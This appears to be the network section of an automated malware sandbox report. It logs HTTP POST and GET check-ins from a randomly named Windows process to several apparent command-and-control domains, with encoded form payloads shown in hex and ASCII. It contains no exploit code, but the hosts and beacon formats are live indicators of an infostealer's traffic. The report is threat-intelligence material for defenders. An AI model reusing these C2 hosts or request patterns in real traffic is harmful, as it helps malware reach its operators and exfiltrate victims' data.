GR54yHZ8=Xqn0ftDeUaM66jXfqsGD6ajmqu7OTYRWjdqCty14EEI1Hj5BejlBwnZCD3XAfI8Dnz23bQJOhm/HM4UhoAWOweOSJkg3SAI4nT6jJKIxYt1kcsKYukpTlW5rnBqX06d28HeyXYrzVPUrhXjnVS8ilYsrMq9Y+x3ltBM3uhJpynK8xBWfBpMcGK75wJYYxgQJCQ+v5sfdIy0mKR5Nt0IRxP3qbiNqZepsAg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50002	85.159.66.93	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:32:50.683286905 CET	1856	OUT	POST /80gy/ HTTP/1.1 Host: www.beythome.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.beythome.online Referer: http://www.beythome.online/80gy/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 58 71 6e 30 66 74 44 65 55 61 4d 36 36 6a 58 66 71 73 47 44 36 61 6a 6d 71 75 37 4f 54 59 52 57 6a 64 71 43 74 79 31 34 45 45 77 31 41 52 42 42 65 45 4a 42 78 6e 5a 43 64 6e 58 4e 66 49 38 53 6e 7a 2b 7a 62 51 31 34 68 6b 48 48 4f 61 73 68 76 78 57 4f 36 65 4f 53 57 55 67 79 50 51 49 68 6e 54 71 6e 4a 4f 55 78 59 74 31 6b 63 76 53 59 67 6c 70 54 6e 57 34 5a 6d 42 71 44 77 36 63 34 38 48 32 59 58 65 32 49 56 5a 6b 72 68 33 7a 6e 59 42 55 69 71 59 73 31 41 4b 38 64 2b 78 7a 4d 74 42 51 52 75 6b 63 4d 79 6b 57 38 31 55 76 54 54 34 34 32 46 4c 44 4a 6f 5a 38 65 33 6d 73 42 49 54 36 50 33 4e 44 50 4f 42 64 52 43 46 4e 50 67 30 56 48 38 64 4c 61 58 6c 73 6e 54 36 77 62 5a 4a 69 6c 4d 71 4c 64 55 2f 6f 47 4d 77 69 6f 51 66 59 4e 59 75 6d 6a 61 30 74 64 4a 6c 66 2b 6e 54 50 34 42 2f 67 73 6e 63 32 6d 58 41 69 44 7a 32 42 6b 39 58 55 7a 78 48 66 4b 37 43 5a 70 64 4d 58 2b 50 2f 2b 4e 4f 58 59 31 61 4f 59 71 39 35 61 31 4d 48 39 63 32 4f 32 36 59 74 47 53 42 71 43 79 6a 4d 6e 74 4c [TRUNCATED] Data Ascii: GR54yHZ8=Xqn0ftDeUaM66jXfqsGD6ajmqu7OTYRWjdqCty14EEw1ARBBeEJBxnZCdnXNfI8Snz+zbQ14hkHHOashvxWO6eOSWUgyPQIhnTqnJOUxYt1kcvSYglpTnW4ZmBqDw6c48H2YXe2IVZkrh3znYBUiqYs1AK8d+xzMtBQRukcMykW81UvTT442FLDJoZ8e3msBIT6P3NDPOBdRCFNPg0VH8dLaXlsnT6wbZJilMqLdU/oGMwioQfYNYumja0tdJlf+nTP4B/gsnc2mXAiDz2Bk9XUzxHfK7CZpdMX+P/+NOXY1aOYq95a1MH9c2O26YtGSBqCyjMntLx5/lZvYauui7JuCn18GyNWfbAj0B0TOag7qTr0Hj41yI6OMUBvoOdplZT9eX1KemoBhq1NMZzjs5Nu+JYGhDst1Z4JeHoXzrWeLPeJ4rzJSvWG/CAdK8K3ZwA+RblYxyYiAOGgnLohLfOGu1DSlEXkmlCAqmiEZF/5P/1p6pCvw/B1yRHPud48vzGmC3SM4qWmkrMCc3Bf4EVdFSMpBp8xRvofTXe4VAEoNYgsj1JYvIakfttnGnNjTVZyqA10CKOuJ9VanzSfKPYfpkC0lMxF4Cr+1N6Q3j4lL9lgQHV6YDLZFm3VITBe7ZXhdGSHDq5JuwYN4uxSCiUiF7WmH+ghFR5x/uapjTgGnkwWFW7dKGetZVBapsdm8dMb7a4CpxI+LGZ15eaAzalnqq2PuHA38sumDjKSVXwARNz/wWeJFWNZi/pVTNFhF8n94YMv11fGVxynBJRY9aFZq6wl1NCQVqODmtOnwiWjrYrtpXjMvUotf0h+NhayzLAAnIgRI6tBIu/CivcX7/HSzMBv1muUTGCvY4iXldmtnBmU3prvYOmWEqbsFm5+MFUXnJZFsA5y3bhadncJCKM0w/ee0W8ABhA6hSVThVQ7KVFvLXSZKx0hb3itBrfo/T7dvBP0sQ6/dcE+AAJuw5bPKHRrxTzQsGG2KB5x1n9z [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50003	85.159.66.93	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:32:53.221496105 CET	557	OUT	GET /80gy/?9xn=fHadNpk8MVax&GR54yHZ8=aoPUcaSQDoEYl3Li+4Czyu/3g+fbTJot1NLErCBtTlAsQjsNV1cN7WJnCGjlbK4CrVmsUH1zx16cR6YNnzS2sMbIBlgbQh0ui0+zZIwlVcUsfMWllXpvy1Ukuj6D4Ic/01nyaOg= HTTP/1.1 Host: www.beythome.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Nov 20, 2024 08:32:53.922540903 CET	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Wed, 20 Nov 2024 07:32:53 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 19 X-Rate-Limit-Reset: 2024-11-20T07:32:58.8059698Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50004	103.21.221.4	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:32:59.045275927 CET	840	OUT	POST /0kli/ HTTP/1.1 Host: www.tempatmudisini06.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.tempatmudisini06.click Referer: http://www.tempatmudisini06.click/0kli/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 49 63 49 4d 73 54 61 7a 59 43 4a 65 49 50 64 41 32 43 56 4a 6a 55 6a 77 5a 47 73 65 4b 70 4f 74 6e 37 76 57 54 68 6a 2f 44 56 36 61 4a 63 4f 54 62 6b 49 6a 78 4e 6d 50 4d 30 51 4a 6c 74 7a 65 2f 67 59 31 49 56 56 33 66 6f 32 58 44 63 5a 43 50 5a 6d 76 64 74 74 5a 48 75 37 61 6c 6b 6d 72 33 41 4e 4a 61 38 63 53 39 6b 47 32 53 4d 6b 71 57 6e 32 34 2f 49 4b 56 38 5a 46 7a 59 61 30 52 71 51 58 79 57 74 77 58 4c 52 73 67 55 34 6b 47 52 68 6e 32 43 2f 44 72 56 6a 41 34 71 76 4a 34 56 43 48 68 2f 62 4f 47 2b 56 49 61 66 36 4c 70 47 59 69 64 57 66 51 50 43 33 76 65 35 6b 77 78 76 36 39 70 70 75 76 6d 37 7a 74 45 Data Ascii: GR54yHZ8=IcIMsTazYCJeIPdA2CVJjUjwZGseKpOtn7vWThj/DV6aJcOTbkIjxNmPM0QJltze/gY1IVV3fo2XDcZCPZmvdttZHu7alkmr3ANJa8cS9kG2SMkqWn24/IKV8ZFzYa0RqQXyWtwXLRsgU4kGRhn2C/DrVjA4qvJ4VCHh/bOG+VIaf6LpGYidWfQPC3ve5kwxv69ppuvm7ztE
Nov 20, 2024 08:32:59.965503931 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 20 Nov 2024 07:32:59 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50005	103.21.221.4	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:33:01.591272116 CET	864	OUT	POST /0kli/ HTTP/1.1 Host: www.tempatmudisini06.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.tempatmudisini06.click Referer: http://www.tempatmudisini06.click/0kli/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 49 63 49 4d 73 54 61 7a 59 43 4a 65 4a 73 31 41 36 42 39 4a 71 55 69 43 63 47 73 65 54 35 4f 70 6e 37 6a 57 54 6a 50 76 43 6d 4f 61 4f 34 4b 54 59 67 38 6a 32 4e 6d 50 44 55 51 4d 72 4e 79 53 2f 67 55 48 49 58 52 33 66 6f 79 58 44 63 70 43 4f 71 65 73 66 39 74 48 66 65 37 55 34 30 6d 72 33 41 4e 4a 61 2f 68 4a 39 6c 75 32 53 63 30 71 57 46 4f 35 38 49 4b 55 72 70 46 7a 4a 4b 30 56 71 51 57 52 57 76 49 35 4c 54 6b 67 55 39 59 47 53 77 6e 35 4c 2f 44 74 62 44 42 34 69 39 67 72 61 7a 2b 58 33 49 33 72 70 79 55 65 61 4d 57 7a 61 72 69 2b 45 50 77 4e 43 31 33 73 35 45 77 62 74 36 46 70 37 35 6a 42 30 48 49 6e 38 4c 72 66 6d 66 45 55 72 63 6f 43 57 76 6a 47 7a 4c 42 4a 34 77 3d 3d Data Ascii: GR54yHZ8=IcIMsTazYCJeJs1A6B9JqUiCcGseT5Opn7jWTjPvCmOaO4KTYg8j2NmPDUQMrNyS/gUHIXR3foyXDcpCOqesf9tHfe7U40mr3ANJa/hJ9lu2Sc0qWFO58IKUrpFzJK0VqQWRWvI5LTkgU9YGSwn5L/DtbDB4i9graz+X3I3rpyUeaMWzari+EPwNC13s5Ewbt6Fp75jB0HIn8LrfmfEUrcoCWvjGzLBJ4w==
Nov 20, 2024 08:33:02.486272097 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 20 Nov 2024 07:33:02 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50006	103.21.221.4	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:33:04.136784077 CET	1877	OUT	POST /0kli/ HTTP/1.1 Host: www.tempatmudisini06.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.tempatmudisini06.click Referer: http://www.tempatmudisini06.click/0kli/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 49 63 49 4d 73 54 61 7a 59 43 4a 65 4a 73 31 41 36 42 39 4a 71 55 69 43 63 47 73 65 54 35 4f 70 6e 37 6a 57 54 6a 50 76 43 6e 32 61 4a 4c 53 54 59 42 38 6a 33 4e 6d 50 4b 30 51 4e 72 4e 79 66 2f 68 39 4d 49 58 63 4d 66 72 61 58 4d 66 52 43 48 37 65 73 57 39 74 48 44 75 37 56 6c 6b 6d 45 33 45 70 46 61 2f 78 4a 39 6c 75 32 53 65 63 71 51 58 32 35 36 49 4b 56 38 5a 46 33 59 61 30 78 71 55 36 76 57 76 4d 48 4c 69 45 67 55 64 6f 47 43 53 50 35 54 76 44 76 57 6a 42 57 69 39 39 7a 61 79 54 35 33 4a 43 77 70 31 38 65 5a 4c 6e 34 50 71 50 6a 56 4f 42 76 64 43 7a 71 35 7a 63 34 72 62 35 75 71 49 6d 31 36 45 34 62 6b 63 6a 57 75 2b 41 56 73 4b 4e 73 51 59 4f 6b 6e 5a 45 56 72 76 5a 63 51 33 61 48 6d 43 46 48 77 4c 65 6b 4b 51 5a 71 71 5a 31 6a 77 57 65 6f 76 39 50 51 39 44 64 54 44 6a 46 69 44 4b 53 58 4c 50 4d 49 61 61 47 66 71 70 55 54 2f 41 6f 47 42 7a 6d 6e 6b 50 2f 48 65 55 56 33 6f 38 6b 41 30 56 6c 51 6c 66 68 39 34 30 43 6e 58 59 68 4e 72 75 31 67 52 67 65 76 52 2b 56 55 34 [TRUNCATED] Data Ascii: GR54yHZ8=IcIMsTazYCJeJs1A6B9JqUiCcGseT5Opn7jWTjPvCn2aJLSTYB8j3NmPK0QNrNyf/h9MIXcMfraXMfRCH7esW9tHDu7VlkmE3EpFa/xJ9lu2SecqQX256IKV8ZF3Ya0xqU6vWvMHLiEgUdoGCSP5TvDvWjBWi99zayT53JCwp18eZLn4PqPjVOBvdCzq5zc4rb5uqIm16E4bkcjWu+AVsKNsQYOknZEVrvZcQ3aHmCFHwLekKQZqqZ1jwWeov9PQ9DdTDjFiDKSXLPMIaaGfqpUT/AoGBzmnkP/HeUV3o8kA0VlQlfh940CnXYhNru1gRgevR+VU4CzA1/YCrFmeWA2RrbCVYqpHjNU8lwpM/SHDeCVeM97yiGrFUMn5Ax7A2TXvocGJnafe3ujQ4Ifyu77qHCnJ5GjCk5qL+SGHayxznxTftFdLf2ED1BQk5PYSqfoBq3IZkMBmi8q18K7OT1pPd+TC/ND0NHJeiZfWb2lsjWE4o5JjucQqdThVGDVqH6yzjr6AX+1ueeA8GwT8S+I1NjsTIcls4531/cKMxRcT0k3SG43PwTVNTZ9jEdIukUS10voAZoqaeIdYNhstN6anFxtmCRXPvYWGjOpPTGnIjuAnbFlFjoeMCK5qCqH+4JgOD5Krw6DYFjUXkGDJBqYmwAdl97SUazBt9Ly+09U7vDyJCLHp8ul8sgkbd3rw0DFopU3z/FOxfS6SCR7nCjQiLx+32phs/B4YPHSQqY2Cze47Dy6hfJOi5cIqAXaWGz4eH0Lykyb2eHoen+l/tPJ1AHfaJW/7KNPrtwMiUg2dJ9nRUiF9jJYo5NmK6ih2QfFCWID4eYFikKjII9UR0EXCt1ogmsChtU4isRaqq3jIt0AYiXX0jCWJ4iBhDdICgs1p8miHNSXxyHhAlgjf2lxmjC4GxEdKcuulAg0vhlMpWpx09CrkBlqM1OylHPdaZZYV6h/15RDbnuoOdzZI5acp61P5TDxFQZxJZfE7BA1 [TRUNCATED]
Nov 20, 2024 08:33:05.035121918 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 20 Nov 2024 07:33:04 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50007	103.21.221.4	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:33:06.679197073 CET	564	OUT	GET /0kli/?GR54yHZ8=Fegsvl+OGDJHKeUkviVqrWXmfitRVJjJzbj1DgnmRmeFZ5KITSJ35O+CNkAnveOy+X8wGwFlf4nSYcZPMr6/AI0vJO7v6wOh3ABnBMRs5EHLHNUVXEXSqZ/A5JpvJLk63zT1cr4=&9xn=fHadNpk8MVax HTTP/1.1 Host: www.tempatmudisini06.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Nov 20, 2024 08:33:07.596127033 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 20 Nov 2024 07:33:07 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50008	188.114.96.3	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:33:12.709978104 CET	816	OUT	POST /ipd6/ HTTP/1.1 Host: www.questmatch.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.questmatch.pro Referer: http://www.questmatch.pro/ipd6/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 42 43 33 57 72 31 7a 44 44 6d 75 5a 55 5a 64 59 66 43 41 54 57 63 68 7a 4a 58 71 4a 74 37 44 45 64 73 4b 4f 71 78 64 35 34 47 77 5a 55 73 65 56 34 72 42 71 41 52 55 77 62 62 39 33 66 45 6b 77 6e 44 55 59 31 31 31 32 71 58 32 57 42 72 41 57 67 4f 4b 38 6d 4d 39 53 6d 7a 6f 67 78 72 44 49 51 4c 4c 74 74 54 6c 4f 37 50 39 67 30 53 72 64 78 54 57 53 4c 49 31 66 58 54 34 6a 4c 37 59 72 6a 72 52 73 76 69 59 45 6a 55 39 6e 6f 57 75 64 79 64 42 65 42 63 58 65 6f 41 36 76 49 6e 74 75 72 4b 70 31 57 38 50 62 49 4d 38 58 79 57 47 59 30 2b 53 7a 74 75 61 58 70 76 68 49 36 33 5a 38 48 75 79 66 6e 44 66 52 47 38 75 65 Data Ascii: GR54yHZ8=BC3Wr1zDDmuZUZdYfCATWchzJXqJt7DEdsKOqxd54GwZUseV4rBqARUwbb93fEkwnDUY1112qX2WBrAWgOK8mM9SmzogxrDIQLLttTlO7P9g0SrdxTWSLI1fXT4jL7YrjrRsviYEjU9noWudydBeBcXeoA6vInturKp1W8PbIM8XyWGY0+SztuaXpvhI63Z8HuyfnDfRG8ue
